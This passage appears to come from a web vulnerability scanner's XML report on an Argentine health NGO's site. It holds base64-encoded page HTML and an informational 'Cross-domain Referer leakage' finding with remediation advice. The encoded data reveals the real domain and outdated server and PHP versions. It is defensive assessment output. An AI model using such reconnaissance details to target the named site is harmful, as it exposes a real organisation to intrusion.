A8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
78 <responseRedirected>false</responseRedirected>
79 </requestresponse>
80 </issue>
81 <issue>
82 <serialNumber>5107728146274449408</serialNumber>
83 <type>5243904</type>
84 <name>Cross-domain Referer leakage</name>
85 <host ip="200.20.20.201">http://www.example.org.ar</host>
86 <path><![CDATA[/index.php]]></path>
87 <location><![CDATA[/index.php]]></location>
88 <severity>Information</severity>
89 <confidence>Certain</confidence>
90 <issueBackground><![CDATA[When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.<br><br>If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.<br><br>You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.<br><br>Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.<br><br>Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.]]></issueBackground>
91 <remediationBackground><![CDATA[The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.]]></remediationBackground>
92 <issueDetail><![CDATA[The page was loaded from a URL containing a query string:<ul><li>http://www.example.org.ar/index.php?id=14_new&amp;nota=301</li></ul>The response contains the following links to other domains:<ul><li>http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab</li><li>http://twitter.com/exampleONG</li><li>http://www.congresoviolencia.com/</li><li>http://www.facebook.com/home.php?</li><li>http://www.sitei.com.ar/</li></ul>]]></issueDetail>
93 <requestresponse>
94 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIEhUVFAvMS4xDQpIb3N0OiB3d3cuc2FsdWRhY3RpdmEub3JnLmFyDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgVHJpZGVudC81LjApDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]></request>
95 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNTAzMTMNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LD